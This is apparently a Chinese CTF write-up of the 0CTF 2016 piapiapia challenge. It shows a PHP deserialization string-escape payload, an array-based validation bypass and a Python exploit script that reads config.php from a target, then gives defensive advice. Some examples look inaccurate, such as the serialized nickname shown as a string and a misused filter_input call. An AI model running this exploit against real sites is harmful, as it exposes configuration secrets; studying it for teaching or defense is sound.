news 2026/7/8 20:04:01

PHP 反序列化字符逃逸实战:0CTF 2016 piapiapia 漏洞 34 字符构造与数组绕过

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
PHP 反序列化字符逃逸实战:0CTF 2016 piapiapia 漏洞 34 字符构造与数组绕过

PHP反序列化字符逃逸实战:0CTF 2016 piapiapia漏洞的34字符构造与数组绕过技巧

在CTF竞赛和实际安全测试中,PHP反序列化漏洞一直是Web安全领域的重要考点。本文将深入分析0CTF 2016年piapiapia题目中的反序列化字符逃逸漏洞,重点讲解如何精确计算需要逃逸的34个字符,以及如何巧妙利用数组绕过strlen检查的限制。

1. 漏洞背景与核心原理

PHP反序列化字符逃逸漏洞的本质是序列化字符串的结构被破坏后导致的注入攻击。当序列化后的数据经过过滤函数处理时,如果替换操作导致字符串长度发生变化但序列化格式中的长度标识未同步更新,就会引发解析错误。

在piapiapia题目中,关键漏洞点出现在class.php文件的filter方法:

public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }

这个过滤函数会执行两个关键操作:

  1. 将单引号和反斜线替换为下划线
  2. 将SQL关键词(select/insert/update/delete/where)替换为"hacker"

漏洞触发流程

  1. 用户提交的数据被序列化
  2. 序列化字符串经过filter函数处理
  3. 处理后的字符串被反序列化

2. 关键漏洞点分析

2.1 长度计算与字符逃逸

我们需要构造的恶意payload是:

";}s:5:"photo";s:10:"config.php";}

这段payload总长度为34个字符,目的是:

  • 闭合当前数组结构
  • 注入新的photo键值对指向config.php

由于where被替换为hacker会导致长度增加("where"是5字符,"hacker"是6字符),我们需要精确计算需要多少个where才能产生34个字符的溢出:

项目原始长度替换后长度差值
1个where56+1
34个where170204+34

因此,我们需要提交34个连续的where字符串,后面跟上我们的恶意payload。

2.2 数组绕过长度限制

题目中对nickname的检查包含:

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)

这里有两个关键限制:

  1. 只能包含字母数字和下划线
  2. 长度不能超过10个字符

我们可以利用PHP的特性绕过:

  • strlen()对数组返回NULL
  • preg_match()对数组返回false

因此,将nickname设置为数组即可完全绕过这些检查:

nickname[]=payload

3. 漏洞利用实战步骤

3.1 构造完整Payload

最终的Payload结构如下:

wherewherewhere...where";}s:5:"photo";s:10:"config.php";}

其中:

  • 34个连续的where(产生34个字符的溢出)
  • 恶意闭合和注入代码(34个字符)

3.2 实际操作流程

  1. 注册并登录账户:获取有效会话
  2. 修改个人信息:通过数组形式提交nickname
    POST /update.php HTTP/1.1 Content-Type: multipart/form-data nickname[]=wherewherewhere...where";}s:5:"photo";s:10:"config.php";}
  3. 触发反序列化:访问profile.php页面
  4. 读取flag:查看返回的base64编码内容并解码

3.3 关键代码实现

以下是利用漏洞的Python脚本核心部分:

import requests import re # 1. 登录获取session s = requests.Session() login_data = {'username':'test', 'password':'test'} s.post('http://target/login.php', data=login_data) # 2. 构造并提交payload payload = 'where'*34 + '";}s:5:"photo";s:10:"config.php";}' files = {'photo': ('test.png', 'test', 'image/png')} data = { 'phone': '12345678901', 'email': 'test@test.com', 'nickname[]': payload } s.post('http://target/update.php', data=data, files=files) # 3. 获取flag r = s.get('http://target/profile.php') flag = re.search(r'base64,(.*?)"', r.text).group(1) print(flag.decode('base64'))

4. 技术细节与原理深入

4.1 序列化字符串变化分析

正常序列化结果示例:

a:4:{ s:5:"phone";s:11:"12345678901"; s:5:"email";s:13:"test@test.com"; s:8:"nickname";s:3:"abc"; s:5:"photo";s:40:"upload/5d41402abc4b2a76b9719d911017c592"; }

注入后的序列化字符串:

a:4:{ s:5:"phone";s:11:"12345678901"; s:5:"email";s:13:"test@test.com"; s:8:"nickname";s:204:"hacker...hacker"; // 34个hacker s:5:"photo";s:10:"config.php";}"; // 注入的photo s:5:"photo";s:40:"upload/5d41402abc4b2a76b9719d911017c592"; } // 被丢弃的部分

4.2 为什么数组能绕过检查

PHP中strlen()对数组的处理特性:

var_dump(strlen(array())); // NULL var_dump(preg_match('/pattern/', array())); // false

因此当$_POST['nickname']是数组时:

  • strlen($_POST['nickname']) > 10NULL > 10false
  • preg_match()对数组直接返回false

5. 防御方案与最佳实践

针对此类漏洞,开发者应采取以下防护措施:

  1. 输入验证

    if (!is_string($_POST['nickname']) || strlen($_POST['nickname']) > 10) { die('Invalid input'); }
  2. 安全的序列化处理

    // 先过滤再序列化,而不是序列化后过滤 $profile = array_map('filter_input', $_POST); $serialized = serialize($profile);
  3. 使用JSON替代序列化

    // JSON没有PHP序列化的安全问题 $data = json_encode($profile, JSON_HEX_TAG | JSON_HEX_APOS);
  4. 严格的白名单过滤

    function safe_filter($input) { return preg_replace('/[^a-zA-Z0-9_]/', '', $input); }

通过深入理解PHP反序列化字符逃逸的原理和利用技巧,安全研究人员可以更有效地发现和修复这类漏洞,而开发者则能编写出更安全的代码。在CTF竞赛中,这类题目往往需要参赛者具备代码审计、协议分析和精确计算的能力,是检验Web安全综合能力的绝佳案例。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/8 20:03:54

微信小程序登录 wx.login 2025:3种Code获取方案对比与安全风险分析

微信小程序登录凭证Code的深度解析:2025年技术方案全景指南1. 微信登录凭证Code的核心价值与技术演进在微信生态中,登录凭证Code如同数字世界的通行证,它构建了用户身份与小程序服务之间的安全桥梁。2025年的技术环境下,Code的获取…

作者头像 李华
网站建设 2026/7/8 20:02:56

吃透 C/C++ 内存管理:从内存分布到 new/delete,一文讲透

1. 引言:为什么内存管理如此重要?在 C/C 的世界里,内存管理是程序员必须掌握的核心技能之一。与 Java、Python 等拥有自动垃圾回收机制的语言不同,C/C 将内存的分配与释放完全交给了开发者。这种“权力”带来了极致的性能控制&…

作者头像 李华
网站建设 2026/7/8 19:58:32

命令注入防御演进:从DVWA 4个级别看3种过滤策略的优劣与绕过

命令注入防御演进:从DVWA四个级别看安全策略的实战优化在Web应用安全领域,命令注入攻击始终位列OWASP Top 10威胁榜单。本文将以DVWA(Damn Vulnerable Web Application)的命令注入模块为蓝本,系统剖析四种安全级别&…

作者头像 李华
网站建设 2026/7/8 19:56:34

业务逻辑漏洞挖掘实战:3步绕过前端验证,直接下载付费文件

业务逻辑漏洞深度解析:从绕过前端验证到系统级防御1. 业务逻辑漏洞的本质与危害在数字化时代,业务逻辑漏洞已成为Web安全领域最隐蔽且破坏性极强的威胁之一。这类漏洞不同于传统的SQL注入或XSS攻击,它们往往隐藏在业务流程的深层逻辑中&#…

作者头像 李华
网站建设 2026/7/8 19:52:23

SameSite 属性实战:从 Lax/Strict/None 3种模式看现代浏览器Cookie策略演进

SameSite属性深度解析:现代浏览器Cookie安全策略实战指南 当你在电商网站添加商品到购物车后跳转到支付页面时,是否思考过浏览器如何安全地携带你的登录状态?这背后是SameSite Cookie机制在默默守护。作为现代Web安全的基石,SameS…

作者头像 李华